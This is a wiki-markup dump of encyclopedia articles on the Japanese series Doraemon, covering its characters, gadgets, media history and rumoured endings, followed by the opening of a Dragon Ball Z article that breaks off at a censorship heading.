The stories are formulaic, usually focussed on the main character of the story, Nobita Nobi. Doraemon possesses a four-dimensional pocket from which he can produce all manner of futuristic tools, gadgets and playthings from a future department store. Nobita Nobi, a poor athlete and scholar, who is weak-willed, lazy and beset by the local bullies, inevitably comes crying to Doraemon for some device to gain revenge, fix his problems, often involving academic failure, or show up the local rich boy (Suneo) who parades his acquisitions to arouse Nobita's jealousy. Nobita usually goes too far, and, despite Doraemon's best intentions and the technology of the 22nd century, gets into deeper trouble than before. Failing that, Nobita's friends steal the gadgets and end up misusing them. However, at the end of the day, there's usually retribution to the characters who end up misusing them, and a moral lesson is learnt.

What makes Doraemon so lovable is that he is not perfect, despite he is supposed to be an &quot;omnipotent&quot; robot from the 22nd century. Doramon has his own weaknesses, such as his insatiable love for ''[[dorayaki]]'', a Japanese treat that is filled with sweet bean paste (this fact is often exploited by Nobita and his family/friends to persuade Doraemon to do something that he is reluctant to do), his fear of rats (because a robotic rat bit off his ears), or his tendency to panic during emergencies (characterized by him frantically trying to pull out a very much needed tool, only to produce a HUGE assortment of unrelated household items). He also has a wide variety of expressions, from the classic, wide-mouthed grin to extreme anger. This serves to make him all the more realistic, and approachable to audiences of all ages.

==Origins==

The original Doraemon manga appeared simultaneously in January 1970 in six different children's monthly magazines, divided by the year of study, called ''Yoiko'' (good children), ''Yōchien'' (nursery school), and ''Shōgaku ichinensei'' (first grade of elementary school), ''Shōgaku ninensei'' (second grade), ''Shōgaku sannensei'' (third grade), and ''Shōgaku yonensei'' (fourth grade). Later the series started also on ''Shōgaku gonensei'' (fifth grade) and ''Shōgaku rokunensei'' (sixth grade). Each story in each of the magazines was different, thus the author was originally creating more than six stories a month. In 1979, [[CoroCoro Comic]] was launched as a magazine of Doraemon. Original manga of Doraemon movies were released on CoroCoro magazine. The stories which were preserved in the Tentōmusi comics are the ones from these magazines.

==Characters==

===Nobita===

{{nihongo|Nobita Nobi|野比のび太|''Nobi Nobita''}} is the main character in the series. He is an elementary schoolboy in [[Tokyo]]. He is an only child and lives in a house. He wears glasses, a red or yellow polo shirt with a white collar, and blue shorts, and takes frequent naps. He often gets 0/100 in tests, is a poor athlete, and lacks talent in all sorts of activities/hobbies. He is, however, unrivalled in [[marksmanship]] and [[string games]]. &lt;!-- and the cloth string hand manipulation thingy i don't know what's the word for in english or japanese --&gt;&lt;!-- it is called string games -'Izz --&gt;

===Doraemon===

{{nihongo|Doraemon|ドラえもん|}} is the assistant and helper of Nobita sent back in time by Sewashi.

Doraemon originally had ears but they were bitten off by a robot mouse back in the 22nd Century. As a result, he has an excessive fear of mice, despite being a robotic cat.

Doraemon's favourite food is ''[[dorayaki]]'', a gong-shaped sweet. Many think that this is the origin of his name. However, it was revealed in one of the manga that his name originates from a Japanese word for &quot;stray cat&quot;, ''dora neko'', and the ''emon'' ending which is part of traditional Japanese names, as seen in, for example, ''[[Goemon]]''.

Of the Doraemon characters, Doraemon is the only one to have changed since the beginning of the comic strip. He originally was stooped, had a body much larger than his head, and had a blue tail and flesh-coloured hands and feet. His body shape changed to having a head larger than the body, white hands and feet, a red tail and smaller body. The above picture of his first appearance shows the original Doraemon.

He weighs 129.3 kg, his height is 129.3 cm and his birthday is Sept. 3, 2112.

===Shizuka===
{{nihongo|Shizuka Minamoto|源静香|''Minamoto Shizuka''}}, usually called ''Shizu-[[Japanese titles#Chan|chan]]'' or ''Shizukachan'' is a smart and kind young girl who is the object of Nobita's affections and his future bride. She has a habit of frequently bathing, leading to numerous accidental bath scenes. She is also known for attending piano classes, which is sometimes an excuse for declining to play with Nobita. However, she has never played the piano throughout the series (save for in the manga, in which she is occasionally forced to take lessons she resents and tries to get out of). Her true passions are sweet potatoes and violin, in which her talent rivals Jaian's singing.

===Jaian===
{{nihongo|Takeshi Goda|剛田武|''Goda Takeshi''}} , usually known by the nickname {{nihongo|Jaian|ジャイアン|}} (which could be interpreted as &quot;Giant&quot;) is big, strong, and quick-tempered. He is known for his confidence in his terrible singing and cookery. He frequently takes other children's toys and books without permission, and regularly subjects the neighbourhood children to horrendous singing recitals (sometime with his homemade dinner combo). Many of the stories revolve around Nobita and his friends' efforts to avoid Jaian's concerts. Although he bullies the other children, he is terrified of his mother. He founded his own baseball team named after himself. Strangely enough, Nobita is often blamed for the loss against its rival, the &quot;Tyranos&quot;, yet Jaian and Suneo often force Nobita to play because they do not have enough players.

He has a younger sister, {{nihongo|Jaiko|ジャイ子|}}, who wants to be a manga artist. She would have been Nobita's wife in the future if Doraemon has not intervened.

===Suneo===
{{nihongo|Suneo Honekawa|骨川スネ夫|''Honekawa Suneo''}} is the braggart who parades his material wealth in front of Nobita. He is Jaian's underling, possibly to hide the fact that he is much more of a crybaby than Nobita. He is a talented artist and designer. He also has a younger brother, Sunetsugu (スネツグ), who was adopted into his uncle's family in [[New York]].

===Minor characters===
*'''Hidetoshi Dekisugi''' (出木杉英才; ''Dekisugi Hidetoshi'') is Nobita's classmate and rival for Shizuka's affections. He always gets 100% on school tests. His name literally means &quot;brilliant over-achiever&quot;, and his last name is a pun on dekisugiru, which literally means &quot;over achieving&quot;.
*'''Dorami-chan''' (ドラミちゃん) is the younger [[sister]] of Doraemon. She lives in the 22nd-century [[Tokyo]] with Sewashi, Nobita's great-great-grandson. She likes [[melon]] [[bun]]s. She is afraid of [[cockroach]]es. She seems to be superior to Doraemon. She sometimes visits Nobita with a [[time machine]].See [http://www.ctb.ne.jp/~azx/mission/mission37.jpg Dorami-chan (left side), Sewashi (right side)].
*'''Tameru Kaneo''' tends to accompany Suneo and Jaian. He has a friend (whose name is not mentioned) whom he always makes appearances with.
*There is also one character whose name isn't mentioned in the story, but makes regular appearances as a friend of Kaneo.

===Nobita's family===
*'''Tamako Nobi''' (野比玉子; ''Nobi Tamako'') Nobita's Mother. Endlessly either angry with Nobita for failing tests, or sending Nobita on errands.
*'''Nobisuke Nobi''' (野比のび助; ''Nobi Nobisuke'') Nobita's father. Laid back [[salaryman]]. Tends to be nice to Nobita. Cannot drive or quit smoking.
*'''Sewashi''' (セワシ) Nobita's great-great-grandson. He feels sorry about the family's failure in life, and sent his robot pet Doraemon back to the past to look after Nobita.
*'''Nobisuke''' (ノビスケ) Nobita's son, named after Nobita's father. He is a much better athlete than Nobita and is sly, he did not hesitate to beat young Nobita when young Nobita tried to stop Nobisuke from running away from home.

===The Doraemons===

{{nihongo|The Doraemons|ザ☆ドラえもんズ|}} is a kind of an old boys' association of the Robot School (ロボット学校) which Doraemon attended. They are also sworn brothers (According to one of the movies). The members are:
* &lt;b&gt;Doraemon&lt;/b&gt; (ドラえもん)
* &lt;b&gt;Dora-the-Kid&lt;/b&gt; [http://fukurokudo.k-server.org/kiriban-illust2/kiriban5757.jpg] (ドラ・ザ・キッド) – He is good at quick shooting, but he has a fear of heights ([[acrophobia]]). He works for a [[sheriff's deputy]] in the 19th-century [[United States|USA]]. Dora-the-Kid's weapon of choice is the Air Gun (空気砲), which is appears to be the front muzzle of a giant [[revolver]] that is equipped onto Dora-the-Kid's arm (He has no fingers to fire a regular pistol). The Air Gun shoots out a big blast of air that can knock down anyone that gets hit. His variation of Doraemon's four-dimensional Pocket is the four-dimensional Cowboy Hat (四次元ハット) that Dora-the-Kid wears on his head. His girlfriend happens to be Dorami-chan, Doraemon's younger sister.
* &lt;b&gt;Wang Dora&lt;/b&gt; [http://www.ctb.ne.jp/~azx/dora/doraz04.jpg] (王ドラ) – He is the smartest among the Doraemons and is a master of [[kung fu]]. He studies [[medicine]] in the [[Qing Dynasty]], [[China]] while he works for an assistant of a [[Physician|doctor]] of [[Chinese medicine]]. He has a girlfriend, Mimiko (ミミコ), who is a [[nurse]]. In one of The Doraemons' manga shorts introducing Wang Dora, he attempted to do [[Chun-Li]]'s (from [[Street Fighter]]) Spinning Bird Kick (a move where the user would spin upside-down with his legs open to kick away his opponent in a fight), only to find it ineffective because Wang Dora's legs are too short. Wang Dora's variation of the four-dimensional pocket are his four-dimensional Sleeves (四次元そでから) on his shirt.
* &lt;b&gt;Dora-med III&lt;/b&gt; [http://www.ctb.ne.jp/~azx/dora/doraz05.jpg] (ドラメッドⅢ世) – He wears [[Arabia]]n clothes and forecasts from the [[tarot]]. He lives in the [[Middle East]] (just because he fears water, a rumour says). His dream is to open the Water Land for children who live in [[desert]] regions. When he gets angry, he becomes a giant. Dora-Med III's variation of the four-dimensional pocket is his four-dimensional Magic Lamp (四次元ランプ).
* &lt;b&gt;Dora-nichov&lt;/b&gt; [http://www.ctb.ne.jp/~azx/dora/doraz07.jpg] (ドラニコフ) – He is taciturn and is extremely sensitive to the cold. He transforms himself into a (were)[[wolf]] if he looks at something round. In the short &quot;The Doraemons&quot; anime that introduced Dora-nichov he tried to cover his eyes with his hands to avoid looking at anything round, only to transform, because his hands are also round! He blows fire by taking something hot like [[Tabasco]]. It is unknown where he lives, maybe in [[Russia]], or in [[Hollywood]], USA. Dora-nichov's uses the four-dimensional Scarf (四次元マフラー) covering his face as an alternative to the four dimensional pocket. 
* &lt;b&gt;El Matadora&lt;/b&gt; [http://www.ctb.ne.jp/~azx/dora/doraz03.jpg] (エル・マタドーラ) – He is very strong. He likes napping (&lt;i&gt;siesta&lt;/i&gt;). He lives in the 17th-century [[Spain]]. He disguises himself by working for a dishwasher in a butcher's in the day, but his real job is to save the poor. People call him 'Kaiketsu-Dora' (快傑ドラ), an [[alter-ego]] that is a parody of [[Zorro]]. Like Zorro, 'Kaiketsu-Dora' either leaves a 'D' mark on his opponents' clothes during a sword fight or cut off bad guys' pants. His dream is a [[matador]]. El Matadora is the only other Doraemon (other than Doraemon himself) to use the four-dimensional Pocket.
* &lt;b&gt;Dora-rinho&lt;/b&gt; [http://www.ctb.ne.jp/~azx/dora/doraz06.jpg] (ドラリーニョ) – He is very quick, but forgetful. He lives in [[Brazil]]. He spends days in playing [[Association Football]] ([[soccer]]) with a Brazilian boy, Nobinho (ノビーニョ), and the Mini-Doras (ミニドラ軍団). The Mini-Doras each have a miniature version of Doraemon's four-dimensional Pocket that Dora-rinho could take gadgets from, though the gadgets are equally as small as the Mini-Doras.

Source: [http://home3.highway.ne.jp/ryoma/dorachar.htm Doraemon Characters] (Japanese)

They are tightly united by a card called &lt;i&gt;Shin'yu Tereka&lt;/i&gt; [http://www.ctb.ne.jp/~azx/dora/dorae/dorae08.jpg] (literally, close friend telephone card; 親友テレカ). They can call each other with the card everywhere and every time.

The Doraemons are collected into:
* Tanaka ([[1995]] – [[2001]]), 6 vols.
* Miyazaki &amp; Mitani ([[1997]] – 2001), special ed., 12 vols.
* Mitani ([[1999]] – [[2002]]), the Robot Training School days ed., 3 vols.
all published by [[Shogakukan]].

==Dōgu==
Doraemon can take out various devices (&lt;i&gt;Dōgu&lt;/i&gt;; literally, devices or tools; 道具; see also [[chindōgu]]) from his four-dimensional pocket.
Some of them are based on real-life Japanese household goods with a fanciful twists, others are tools that most of us would dream to have. Most often, these tools allow the characters to do what would otherwise be impossible in real life (like affecting the outcome of battles on TV, or walk on clouds). Whilst some of them might be possible to make in real life, many of these tools will only exist in our wildest imaginations.

Below is a short list of the dōgu that is used by Doraemon and his friends at some point or other. The list is by no means exhaustive, as the author has featured more than a few hundred of them during the entire series.

A full list of Dōgu can be found here.
[http://www.proc.org.tohoku.ac.jp/~hoshi/doraemon/doraemon.euc DORAEMONs ITEM] (Japanese Site)

== Recurring Items ==

[[Image:Doraemontimetravel_01.gif|thumb|left|Time Machine]]
'''Time machine'''. Doraemon's time machine is inside Nobita's school desk. It looks like a simple platform with a console and lamp overhanging the console. This is a classic icon associated with the Doraemon series. Usually piloted by Doraemon himself.






[[Image:Tool 01.gif|thumb|left|Take koputā]]
'''Take koputā'''
One of the main modes of transportation for the various characters is the &lt;i&gt;take-koputā&lt;/i&gt; (literally, [[bamboo]]-copter; タケコプター) which combines the words ''take''(bamboo in Japanese) and ''koputa'' – last half of the word [[helicopter]] (which is also used in Japanese).  The device is a tiny cap with a propeller which you can put on any part of your body to gain the ability to fly. 
It is usually put on the head like a [[beanie|propeller beanie]], but in the first few Doraemon episodes, it is placed on the waist.




'''Moshi mo box'''
(もしもボックス), is a [[pun]] based upon the phrase &quot;&lt;i&gt;[[moshi moshi]]&lt;/i&gt;&quot;, the greeting used on the telephone, and &lt;i&gt;moshimo&lt;/i&gt;, meaning 'what if'?  The device is a [[telephone booth|phone booth]] into which the characters dial and propose a &quot;what if&quot; scenario which magically alters the world.  Nobita has at various times wished for a world where money was not necessary (and storekeepers forced cash onto his hands upon attempting to purchase toys, and laws were enforced to ban the burying of money; in short, you purchase an item by receiving cash and robbed by being forced to take cash), a world without [[mirror]]s (where nobody had ever seen a reflective surface) and for a world where lazy people who napped would be hailed as [[celebrity|celebrities]].

[[Image:Doraemon_18.gif|thumb|left|Dokodemo door]]
'''Dokodemo door'''
One of Doraemon's most famous devices is the ''dokodemo door'' (literally &quot;anywhere door&quot;) a door which allows people to travel anywhere by simply going through the door.










'''Small Beam''' A lamp that will shrink any object (including people) to miniscule sizes. The opposite tool is, of course, the large beam, which enlarges whatever is shone at it.

'''Pass Loop''' A loop that will creates a passage through a wall when placed upon a wall or floor.

== One Shot Items ==

'''Memory Bread''' A bread where you write answers on. After a character eats the bread, he will remember the answers written on it.

'''Restoring Beam''' A lamp which is able to restore any broken items to its original state.

'''Animal Biscuits''' Animal shaped biscuits that will transform a person into whatever animal the biscuit looks like.

'''Allmighty Pass''' A pass that grants the holder access to anywhere and anything without cost or identification. Nobita once used this to ride taxis without fare, go into pubs, and visit a famous star's home.

'''Deep Sea Cream''' Allows the user to go underwater for extended periods of time.

'''Fluffy Medicine''' Lightens the weight of the character taking this medicine, allowing him to float into the clouds.

'''Instant Christmas Tree''' A Christmas tree that grows instantly when you plant it. Similar tools include the instant vine, which grows into the sky in moments after planting.

'''Cloud hardening gas''' A gas which hardens clouds upon application, allowing characters to walk on it. Doraemon and his friends once used this gas to create a cloud city.

==History==
Since the debut in 1970, the ''Doraemon'' stories have been selectively collected into forty-five books published from 1974 to 1996, which had a circulation of over 80 million in 1992. In addition, Doraemon has appeared in a variety of manga series of [[Shogakukan]]. In 2005, Shogakukan published a series of five more manga volumes not reprinted in these forty-five books.

==TV series==

After a brief and unpopular attempt at animation ''Doraemon'' (in [[1973]] by [http://www.ntv.co.jp/ Nippon Television Network]) remained fairly exclusively the domain of the printed page until [[1979]] when the [[TV Asahi]] [http://www.tv-asahi.co.jp/doraemon/] (テレビ朝日) produced a series of ''Doraemon'' anime (1979 -).  This series became incredibly popular and ''Doraemon'' fever swept across Japan.

Celebrating Doraemon's anniversary,  a new version of Doraemon has been telecast on TV Asahi with the new [[seiyu]]s and staff since [[15th April]], 2005.

==Films==

In [[1980]], the first of a series of annual feature length [[animated film]]s was made.  The films have taken a slightly more adventure oriented tone taking the familiar characters of ''Doraemon'' and placing them in a variety of exotic and perilous settings.  Nobita and his friends have visited the age of the [[dinosaur]]s, the far reaches of the [[galaxy]], the heart of darkest [[Africa]] (where they encountered a race of sentient bipedal [[dog]]s), the deepest depths of the ocean, and a world of [[magic (paranormal)|magic]].   Some of the films are based on [[legend]]s (e.g. [[Atlantis]]) and [[literature]] works ([[Journey to the West]] and [[Arabian Nights]]). Some films also have ''serious'' themes, especially on environmental topics and the use of technology.

See [[List of Doraemon films]] for a full list of features produced.

In July [[2004]], the Fujiko Movie Studio (藤子プロ) announced that the Doraemon film of [[2005]] was postponed until the [[spring (season)|spring]] of [[2006]] [http://www.dora-world.com/news/dearfans_f.html]. On [[15th February]], 2005, [http://www.dora-world.com/news/movie2006/index.html ドラえもんチャンネル] released information about the film of 2006.

==Voice Actors==
The main voices in Doraemon were provided by
* Doraemon = [[Nobuyo Oyama]] (大山のぶ代)
* Nobita = [[Noriko Ohara]] (小原乃梨子)
* Shizuka = [[Michiko Nomura]] (野村道子)
* Jaian = [[Kazuya Tatekabe]] (たてかべ和也)
* Suneo = [[Kaneta Kimotsuki]] (肝付兼太)

From [[1979]] to spring [[2005]] they acted the main characters' voices of Doraemon. However, they gave up their parts to other people in the spring of 2005 due in part to the 25th anniversary of the Doraemon TV-series and their age.

See [http://mdn.mainichi.co.jp/news/20041122p2a00m0dm005001c.html Mainichi Daily News] and [http://asia.news.yahoo.com/041121/kyodo/d86gi7pg0.html Kyodo].

On [[13th March]], [[2005]], the [[TV Asahi]] [http://www.tv-asahi.co.jp/doraemon_25/contents/fan/] announced the new voice actors for the 5 main characters.

* Doraemon = [[Wasabi Mizuta]] (水田わさび)
* Nobita = [[Megumi Ohara]] (大原めぐみ)
* Shizuka = [[Yumi Kakazu]] (かかずゆみ)
* Jaian = [[Subaru Kimura]] (木村昴)
* Suneo = [[Tomokazu Seki]] (関智一)

==Analysis/significance==
* In [[2005]], the [http://www.japansociety.org/ Japan Society of New York] selected Doraemon as a culturally significant work of Japanese [[otaku]] pop-culture in its exhibit ''Little Boy: The Arts of Japan's Exploding Subculture'', curated by renowned artist [[Takashi Murakami]].  In Murakami's analysis, he states that Doraemon's formulaic plotlines typified the &quot;[[wish]] fulfilment&quot; mentality of 1970s Japan, where the electronics revolution glamorized the idea that one could solve their problems with machines and gadgets rather than hard work or individual intelligence.

==Doraemon in the World==
Nowadays, Doraemon is widely popular beyond Japan where Doraemon was born. The publishing dates below are slightly misleading, particularly in the Southeast Asian market. Doraemon has been published widely and without license in many countries until its actual publishing rights were obtained due to stricter regulations.

See 
*[[List of non-Japanese Doraemon versions]] and
*[[List of Doraemon comics in English]].

==Series finale rumours==
There are two current and often quoted urban legends that started spreading in late 1990s of an ending to the Doraemon series.

The first and the more optimistic ending was made public by Nobuo Sato several years ago. Doraemon's battery power ran out, and Nobita was given a choice between replacing the battery inside a frozen Doraemon, which would cause it to reset and lose all memory, or await a competent robotics technician who would be able to resurrect the cat-robot one day.  Nobita swore that every day to work hard in school, graduate with honours, and become that robotics technician.  He successfully resurrected Doraemon in the future as a robotics professor, became successful as an AI developer, and thus lived happily ever after, thus relieving his progeny of the financial burdens that caused Doraemon to be sent to his space-time in the first place.

The second, more pessimistic ending suggests that Nobita Nobi is suffering from [[autism]] and that all the characters (including Doraemon) are simply fictional characters in his imagination.  (This ending is actually the ending for the series [[St. Elsewhere]], which ended in 1988.)  The idea that Nobita was a sick and dying little boy who imagined the entire series on his sickbed to help him ease his pain and depression no doubt angered quite a bit of fans. Many Japanese fans staged a protest outside the Head Quarter of the publisher of the series after learning about this suggestion. The publisher had to issue a public statement that this is not true.

The third ending suggests that Nobita fell and hit his head on a rock. He fell into deep coma, and eventually into a semi-vegetative state. To raise money for an operation to save Nobita, Doraemon sold all his tools and devices in his four-dimensional pocket. However, the operation failed. Doraemon sold all his tools except for one used for the last resort. He used it to enable Nobita to go wherever he wanted, whichever time era he wished to go. In the end, the very place Nobita wanted to go is heaven...

However, the plausibility of the issues was discussed here and it concludes that there is no ending to Doraemon. See [http://www.remus.dti.ne.jp/~chankuma/DoraData/Q&amp;A/Q&amp;A1.html#QA005] (Japanese).

Nevertheless, there are actually three official endings to Doraemon that were made. Doraemon was discontinued in two media because readers were advancing in grades and an ending was believed to be needed.  These two are not reprinted.

* In March [[1971]] issue of the magazine ''Shogaku 4-nensei'' [http://www.netkun.com/sho4/] (literally, elementary school's fourth grader; 小学四年生) Due to the fact that visitors from futures were causing too much trouble, the government in the 22nd Century passed a bill to ban time-travelling altogether. Doraemon have to return to his time era. He leaves Nobita.
* In March [[1972]] issue of the magazine ''Shogaku 4-nensei'' Doraemon for some reason had to go back but fakes a mechanical problem so that Nobita would let him go.  Nobita believes him and promises to wait until Doraemon gets well.  Realizing that Nobita can handle departure, Doraemon tells the truth and Nobita accepts.  Doraemon returns to the future.

The third ending was actually meant to be the official ending as the TV rating did not fare well and the [[Fujiko Fujio]] duo was busy with other works.  But Doraemon did not leave their minds and restarted from next month's issue.  In [[1981]], this episode was made into anime, and in 1998, this was released as an anime movie.

* In the March 1973 issue of the magazine ''Shogaku 4-nensei'', Nobita again returns home after losing a fight against Jaian.  Doraemon then explains that he has to return.  Nobita tries to have Doraemon stay but after talking it over with his parents accepts Doraemon's departure.  They take a last walk in the park.  After they split up, Nobita encounters Jaian and gets into a fight again.  After a long duel with Nobita trying to win at all costs so that Doraemon can leave without worries, Jaian lets Nobita win for not giving up.  Doraemon finds Nobita passed out and takes him home.  Sitting beside sleeping Nobita and after a moment of thought, Doraemon returns to the future.

When the Fujiko Fujio duo broke up in the 1987, the very idea of an official ending to the series was never discussed.  Since Fujiko F. died in 1996 before any decisions were reached, any &quot;endings&quot; of Doraemon are [[fan fiction]]. However, it is apparent from many episodes and movies where Nobita travels to the future that in the end he does marry Shizuka, leads a happy life and separates with Doraemon, although he and his friends fondly remembers him. Unfortunately the scene when Doraemon leaves him for good was never made.

Source: [http://www.kukudm.com/Html/20051026184634-1.Html All About Doraemon the robotic cat (Chinese)].

==Doraemon educational comics==

Doraemon, Nobita and the other characters also appear in various educational comics.

==Dorabase==

'''Dorabase''' is a [[baseball]] comic based on the Doraemon characters.
This comic follows the story of other robotic cats that form a baseball club. Though it shows Doraemon in the beginning, it doesn't focus on Doraemon itself (because Doraemon must go back to the past to help Nobita). The group is led by Kuruemon. a cat that looks like Doraemon, only it has ears and black fur (Doraemon doesn't have fur). It features a lot of imaginary ability, and in the baseball game, it is allowed to use up to 3 gadgets.

==Other appearances==

Doraemon is a popular character in Japan and appears in many places. For example, Doraemon is used as a promotional character by {{nihongo|Art Hikkoshi Center&quot;|アート引越センター|Āto hikkoshi sentā}}, a removals company, and by [[Cocos (Japanese restaurant)|Cocos]], a popular restaurant chain. He also appears in appeals for charity, the Doraemon fund.

Doraemon toys and novelty items are also often found in Japan, with literally thousands of items on sale.

==External links==
* [http://www.dora-world.com/ Doraemon Official Website (Japanese)]
* [http://www.dora-movie.com/ Doraemon Movie Official Website (Japanese)]
* [http://www.tv-asahi.co.jp/doraemon/ '''Doraemon Official TV Asahi Home Page''' (Japanese)]
* [http://www.doraemonpan.tk/ '''Doraemon goods Website''' (Japanese)]
* [http://www.ex.org/4.8/35-manga_doraemon.html Doraemon overview by EX manga]
* [http://www.mit.edu:8001/people/rei/MANGA/Doraemon.html Doraemon overview by Rei]
* [http://www.geocities.com/the_doraemon_resource/ Welcome to The Doraemon Resource]
* [http://www.time.com/time/asia/features/heroes/doraemon.html TIMEasia.com: Asian Heroes—Doraemon]
*[http://www.aku-tenshi.com/manga/dora.php Scanlations of the original Doraemon manga]
*[http://a.scarywater.net/shi-fa/ Fansubs of Doraemon(Scroll to the bottom)]
*[http://www.youtube.com/watch?v=yuBfxPAeryw A rendition of the Doraemon theme]

[[Category:Doraemon| ]][[Category:manga]]

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    </revision>
  </page>
  <page>
    <title>Dragon Ball Z</title>
    <id>8413</id>
    <revision>
      <id>42149935</id>
      <timestamp>2006-03-04T03:41:20Z</timestamp>
      <contributor>
        <ip>202.7.202.2</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox animanga/Header|
 title_name=Dragon Ball Z
 |image=Dragonballz.jpg
 |caption=Dragon Ball Z - The [[Freeza Saga]].
 |ja_name=ドラゴンボールゼット
 |ja_name_trans=Doragon Bōru Zetto
 |genre=[[Shonen]] Action / Adventure
 |creator=[[Toei Animation]]&lt;br/&gt;[[Akira Toriyama]]
}}
{{Infobox animanga/Anime|
 title=
 |director=Daisuke Nishio&lt;br/&gt;Osamu Kasai
 |studio=[[Toei Animation]]
 |network=[[Fuji Television|Fuji TV]]
 |first_aired=[[April 26]], [[1989]]
 |last_aired=[[January 31]], [[1996]]
 |num_episodes=[[List of Dragon Ball Episodes|291]]
 |anime_distributor=[[Pony Canyon]] (Japan)&lt;br/&gt;[[FUNimation Entertainment]] ([[United States|USA]])
}}
{{Infobox animanga/Other|
 title=Movies
|content=&lt;nowiki&gt;&lt;/nowiki&gt;
*1. [[Return my Gohan!!]]
*2. [[The World's Strongest Guy]]
*3. [[Super Deciding Battle for the Entire Planet Earth]]
*4. [[Super Saiyan Son Gokū]]
*5. [[Cooler's Revenge|The Incredible Mightiest vs. Mightiest]]
*6. [[Return of Cooler|Clash!! 10,000,000,000 Powerful Warriors]]
*7. [[Super Android 13|Extreme Battle!! The Three Great Super Saiyans]]
*8. [[Broly: The Legendary Super Saiyan|Burn Up!! A Close, Intense, Super-Fierce Battle]]
*9. [[Bojack Unbound|The Galaxy at the Brink!! The Super Incredible Guy]]
*10. [[Broly: The Second Coming|The Dangerous Duo! Super-Warriors Can't Rest]]
*11. [[Bio-broly|Super-Warrior Defeat!! I'm the One who'll Win]]
*12. [[Fusion Reborn|Fusion Reborn!! Gokū and Vegeta]]
*13. [[Dragon Fist Explosion!! If Gokū Won't Do It, Who Will?]]
}}
{{Infobox animanga/Other|
 title=TV Specials
|content=&lt;nowiki&gt;&lt;/nowiki&gt;
* 1. [[A Lonesome, Final Battle: The Father of Z-Warrior Kakarrot, who Challenged Freeza]]
* 2. [[Resistance to Despair!! The Remaining Super-Warriors, Gohan and Trunks]]
}}
{{Infobox animanga/Footer}}
'''''Dragon Ball Z''''' is the long-running [[sequel]] to the popular [[anime]] ''[[Dragon Ball (original series)|Dragon Ball]]''. The series is a close adaptation of the second half of the ''[[Dragon Ball]]'' [[manga]] (in the [[United States]], the manga's second half is also titled ''Dragon Ball Z'' to prevent confusion), but also features characters, situations and backstories not present in the original.

The series follows the adventures of the adult Son Gokū who, along with his companions, defends the earth against assorted [[Villains (Dragon Ball)|villains]]. While the original ''Dragon Ball'' anime followed Gokū through childhood into adulthood, ''Dragon Ball Z'' is a continuation of his adulthood life. The separation between the series is also significant as the latter series takes on a more dramatic and serious tone.   

Originally, creator [[Akira Toriyama]] had planned to end the series after the Freeza Saga, but was made a significant offer to keep it going due to the story's continued value.

The anime first premiered in Japan on [[April 18]], [[1989]] (on [[Fuji Television|Fuji TV]]) at 7:00 PM and ended on [[January 31]], [[1996]]. In the U.S., the series ran between 1996 and 2003, though not always on the same networks or with continuity of dubbing. It aired in the [[United Kingdom|UK]], albeit with the same dubbing problem, on [[Cartoon Network]], premiering on [[March 6]], [[2000]] and running until 2002, with the final few episodes being shown on [[CNX]] starting from [[October 14]], [[2002]], before that channel relaunched as [[Toonami]], on which it was repeated daily. 

After ''Dragon Ball Z'', the story of Son Gokū and friends continues in the anime-only series ''[[Dragon Ball GT]]''. This series is not based on a manga by Akira Toriyama.

Toriyama's humor/[[parody]] manga ''[[Neko Majin Z]]'' features several concepts introduced in ''Dragon Ball Z'' (several ''Dragon Ball Z'' characters even make various appearances), but that manga is designed as a parody and not a true continuation of the series.

==Plot Summary==
{{spoiler}}
[[Son Goku (Dragon Ball)|Son Gokū]], the protagonist, is an extremely powerful but somewhat naïve martial artist. After a visit from his previously unknown brother [[Raditz]], he discovers that he belongs to an [[Extraterrestrial life|alien race]] called Saiya-jin or [[Saiyan]] and that his kind once sent him to Earth to destroy it. When he refuses to reassume this task, Raditz challenges him to a lethal battle in which Gokū sacrifices himself to beat his brother (with the prospect of [[resurrection]] by the Dragon Balls). This, however, is the trigger for events of even greater magnitude to happen, making Gokū and his friends the foremost defenders of Earth, mankind and ultimately the whole universe.

Gokū later learns that his race was destroyed by the one and only [[Freeza]]-sama, the planet-conquering maniacal onslaught of an alien emperor. [[Zarbon]], Freeza's top henchman, had requested that the best solution would have been the complete annihilation and extinction of the Saiyan race, thus triggering Freeza's wrath. (See [[Frieza Family Tree|Freeza Family Tree]]) Freiza killed Gokū's father [[Bardock]] (or Viz's translation &quot;Burdock&quot;) as well as King Vegeta when he attacked and obliterated the entire Saiyan planet from existence. After many years, Gokū comes face to face with Freiza and his wrath, in a decisive fight of good against evil. 

As the series progresses, Son Gokū, his son, [[Son Gohan]], and their companions age, get immensely stronger and fight increasingly more powerful and sinister villains. Many of the main characters die, are resurrected (few of them stay dead), get married and/or have children. The series progresses dramatically throughout its entire run.

The overall mood changes significantly from the one of ''Dragon Ball'', as tournaments and personal vendettas are replaced by wars against alien villains threatening earth in its whole, changing the focus to violent battles and the feeling of a power struggle. There also is a change from the rather myth-oriented theme to a more science fiction oriented one, interpreting several facts from a very different point of view.

==DBZ and  fandom==
''Dragon Ball Z'' was (and largely still is) one of the most popular shōnen anime series' worldwide. Due to its length, associated varying production quality, creative devices, and sometimes overenthusiastic [[fanboy|young fanbase]], anime fandom at large has mixed reactions to the series. These range from simple lack of interest to downright vocal hatred of the series as overrated and superficial. In response, fans of ''Dragon Ball Z'' have countered that many who criticize the series sound as though they don't know it as well as they'd like to think. While contributing much to the shōnen genre in Japan, some feel ''Dragon Ball Z'' has created a [[stereotype]] associated with anime at large in the West amongst those outside the anime community.

The main character of ''Dragon Ball Z'', Son Gokū, is often compared to the [[DC Comics]] hero [[Superman]], due to their outward similarities in origins (as redefined in ''DBZ'') and abilities. Many of these connections are a deliberate attempt by [[Akira Toriyama]] to pay homage to the Western superhero [[archetype]], just as the earlier ''Dragon Ball'' series paid homage to [[China|Chinese]] folk archetypes.

Because of inconsistencies both in the original manga and the anime series, and the common acceptance of the anime as [[canon (fiction)|canon]], much debate is had by the younger fanbase as to the relative strength (or [[power levels]], speaking in series terms) of the various characters. However most hardcore fans believe that anything that didn't appear in the original manga is irrelevant and can be ignored.

==Censorship Issues==
One of the biggest criticisms of the series in [[North America]] from fans is the extensive amount of editing and other changes it faced, in order to be broadcast.

